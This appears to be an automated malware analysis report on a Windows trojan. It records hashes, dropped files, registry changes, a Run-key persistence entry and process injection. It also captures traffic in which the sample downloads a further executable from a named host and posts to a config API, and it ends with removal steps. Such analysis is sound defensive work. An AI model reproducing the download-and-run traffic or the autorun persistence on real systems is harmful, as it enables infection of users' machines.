HEUR:Trojan.Win32.Generic (Kaspersky), Trojan.MSIL.Agent.BRV (B) (Emsisoft), Trojan.MSIL.Agent.BRV (AdAware), mzpefinder_pcap_file.YR (Lavasoft MAS)Behaviour: Trojan
The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.
Summary
MD5: 23f47d2560af5bc1f634060b6abacdf3
SHA1: e73bfcae173a38d348126ea65a0997d6cf7d8a5e
SHA256: 0e8d9d2d946bf5ab422174228b81fa6db0da0a0cf251e0e46f0a2754d6661b6a
SSDeep: 24576:krIj3qYmj/2eOXC6siFxtSoZfI4cluNaNf5Lut7hPcX3rpTaUeyIw7AAj2kAzV4C:ebSNswtSMOrpNeQxj2QprDlDZYWg
Size: 2335744 bytes
File type: EXE
Platform: WIN32
Entropy: Not Packed
PEID: MicrosoftVisualC, NETexecutable, UPolyXv05_v6
Company: no certificate found
Created at: 2016-11-08 17:23:40
Analyzed on: Windows7 SP1 32-bit
Summary: Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).
Dynamic Analysis
Payload
No specific payload has been found.
Process activity
The Trojan creates the following process(es):
%original file name%.exe:2180
The Trojan injects its code into the following process(es):
J0H3QAI5QG.exe:2724
Mutexes
The following mutexes were created/opened:No objects were found.
File activity
The process %original file name%.exe:2180 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\J0H3QAI5QG.exe (19528 bytes)
The Trojan deletes the following file(s):
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\V60LYP4YWI.exe (0 bytes)
The process J0H3QAI5QG.exe:2724 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\cast.config (38 bytes)
Registry activity
The process %original file name%.exe:2180 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Tracing\23f47d2560af5bc1f634060b6abacdf3_RASAPI32]
"EnableConsoleTracing" = "0"
[HKCU\Software\Microsoft\otut]
"partner" = "idsc"
[HKLM\SOFTWARE\Microsoft\Tracing\23f47d2560af5bc1f634060b6abacdf3_RASMANCS]
"FileTracingMask" = "4294901760"
"EnableConsoleTracing" = "0"
[HKCU\Software\Microsoft\otut]
"Product" = "unknown"
[HKLM\SOFTWARE\Microsoft\Tracing\23f47d2560af5bc1f634060b6abacdf3_RASAPI32]
"MaxFileSize" = "1048576"
"FileTracingMask" = "4294901760"
[HKLM\SOFTWARE\Microsoft\Tracing\23f47d2560af5bc1f634060b6abacdf3_RASMANCS]
"EnableFileTracing" = "0"
"ConsoleTracingMask" = "4294901760"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"
[HKLM\SOFTWARE\Microsoft\Tracing\23f47d2560af5bc1f634060b6abacdf3_RASMANCS]
"MaxFileSize" = "1048576"
[HKCU\Software\Microsoft\otut]
"channel" = "1"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"
[HKLM\SOFTWARE\Microsoft\Tracing\23f47d2560af5bc1f634060b6abacdf3_RASMANCS]
"FileDirectory" = "%windir%\tracing"
[HKLM\SOFTWARE\Microsoft\Tracing\23f47d2560af5bc1f634060b6abacdf3_RASAPI32]
"FileDirectory" = "%windir%\tracing"
"ConsoleTracingMask" = "4294901760"
"EnableFileTracing" = "0"
The Trojan deletes the following value(s) in system registry:
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
"IntranetName"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"
The process J0H3QAI5QG.exe:2724 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Tracing\J0H3QAI5QG_RASAPI32]
"EnableFileTracing" = "0"
[HKLM\SOFTWARE\Microsoft\Tracing\J0H3QAI5QG_RASMANCS]
"FileDirectory" = "%windir%\tracing"
"EnableConsoleTracing" = "0"
[HKLM\SOFTWARE\Microsoft\Tracing\J0H3QAI5QG_RASAPI32]
"EnableConsoleTracing" = "0"
[HKLM\SOFTWARE\Microsoft\Tracing\J0H3QAI5QG_RASMANCS]
"MaxFileSize" = "1048576"
"FileTracingMask" = "4294901760"
[HKLM\SOFTWARE\Microsoft\Tracing\J0H3QAI5QG_RASAPI32]
"ConsoleTracingMask" = "4294901760"
"MaxFileSize" = "1048576"
"FileTracingMask" = "4294901760"
[HKLM\SOFTWARE\Microsoft\Tracing\J0H3QAI5QG_RASMANCS]
"ConsoleTracingMask" = "4294901760"
[HKLM\SOFTWARE\Microsoft\Tracing\J0H3QAI5QG_RASAPI32]
"FileDirectory" = "%windir%\tracing"
[HKLM\SOFTWARE\Microsoft\Tracing\J0H3QAI5QG_RASMANCS]
"EnableFileTracing" = "0"
To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"3OWZXRF45I" = "C:\Users\"%CurrentUserName%"\AppData\Local\Temp\J0H3QAI5QG.exe"
Dropped PE files
MD5 | File path |
---|---|
1894a3b37eb2baaf66e7fce4123c2448 | c:\Users\"%CurrentUserName%"\AppData\Local\Temp\J0H3QAI5QG.exe |
HOSTS file anomalies
No changes have been detected.
Rootkit activity
No anomalies have been detected.
Propagation
Removals
Remove it with Ad-Aware
- Click (here) to download and install Ad-Aware Free Antivirus.
- Update the definition files.
- Run a full scan of your computer.
Manual removal*
- Terminate malicious process(es) (How to End a Process With the Task Manager):
%original file name%.exe:2180
- Delete the original Trojan file.
- Delete or disinfect the following files created/modified by the Trojan:
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\J0H3QAI5QG.exe (19528 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\cast.config (38 bytes) - Delete the following value(s) in the autorun key (How to Work with System Registry):
[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"3OWZXRF45I" = "C:\Users\"%CurrentUserName%"\AppData\Local\Temp\J0H3QAI5QG.exe" - Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
- Reboot the computer.
Static Analysis
VersionInfo
Company Name: HSUO
Product Name:
Product Version: 4.6.3.4
Legal Copyright: Copyright (c) 2016
Legal Trademarks: HSUO@3CK
Original Filename: Cendrillon.exe
Internal Name: Cendrillon.exe
File Version: 4.6.3.4
File Description: HS
Comments: HSUO@
Language: English (United States)
Company Name: HSUOProduct Name: Product Version: 4.6.3.4Legal Copyright: Copyright (c) 2016Legal Trademarks: HSUO@3CKOriginal Filename: Cendrillon.exeInternal Name: Cendrillon.exeFile Version: 4.6.3.4File Description: HSComments: HSUO@Language: English (United States)
PE Sections
Name | Virtual Address | Virtual Size | Raw Size | Entropy | Section MD5 |
---|---|---|---|---|---|
.text | 8192 | 2140940 | 2141184 | 4.16776 | bbb69954da19b269ddb69c657d0c7323 |
.rsrc | 2154496 | 193352 | 193536 | 3.97953 | 3afa5ec146a121d1c07898b34af108e3 |
.reloc | 2351104 | 12 | 512 | 0.070639 | 3f4e453ccab004416e35f40213dd5fc0 |
Dropped from:
Downloaded by:
Similar by SSDeep:
Similar by Lavasoft Polymorphic Checker:
Network Activity
URLs
URL | IP |
---|---|
hxxp://weminternal.com/get/3/wizzcaster_v2.exe | 46.105.121.115 |
hxxp://wizzcaster.com/api/v5/config | 176.31.115.114 |
hxxp://wizzcaster.com/api/v5/link | 176.31.115.114 |
IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)
Traffic
GET /get/3/wizzcaster_v2.exe HTTP/1.1
Host: weminternal.com
Connection: Keep-Alive
HTTP/1.1 200 OK
Date: Tue, 22 Nov 2016 06:05:07 GMT
Server: Apache/2.4.10 (Debian)
Cache-Control: no-cache
content-disposition: attachment; filename="wizzcaster_v2.exe"
Keep-Alive: timeout=10, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: application/x-msdownload
5a400..MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...\..W.........."...0.................. ........@.. ....................................@.................................p...O...................................8................................................ ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........%..............x@...v..........................................6.(.....(....*z.,..{....,..{....o......(....*z.s....}......(.....r...po....*V.(......}......}....*...0...........{....(....t.....s.....{......o......r...po.....r...po.......ijo .....o!....o".........io#......,..o......o$...t1...o%...s&...o'...*......R.._.......0..........(.....s....o......&..*...................((...~....%-.&~..........s)...%.....o*...*..0..G.......s ....r[..p... 1..r]..p(,...o-.....r]..p.(........(/...(0......X...2..*..(....*..0...........(....r[..p.....,Q....(1.......(2......5...%...%....((...o3...r...p(4....(5....(.....^o6...(7...&.Q((...o3...r...p(4...(8........i.2).........(9.....(1.....(:.......(;...i. .s<...z...(....}......(....}....*........N..V.......0..B.......~=...r...p.o>.....-.*...(....r...p(?...o@...r...p(A...oB....oC...*...0../....... ....(D.....{....(E...&..&.. `....{....Z(D... ...................~....-.r...p.....(F...oG...sH........~....*.~....*.......*.~....*..(I...*Vs....(J...t.....
<<< skipped >>>
POST /api/v5/config HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: wizzcaster.com
Content-Length: 38
Expect: 100-continue
Connection: Keep-Alive
HTTP/1.1 100 Continue
....
Map
The Trojan connects to the servers at the folowing location(s):
Strings from Dumps
J0H3QAI5QG.exe_2724_rwx_002DC000_00004000:
mi^
mi^
i^
i^
J0H3QAI5QG.exe_2724_rwx_00302000_00002000:
0141 1$1
0141 1$1
J0H3QAI5QG.exe_2724_rwx_039F0000_00010000:
%8x[v
%8x[v
J0H3QAI5QG.exe_2724_rwx_69722000_00002000:
.ri3J
.ri3J
-yiq.yiw
-yiq.yiw
-yiq.yi
-yiq.yi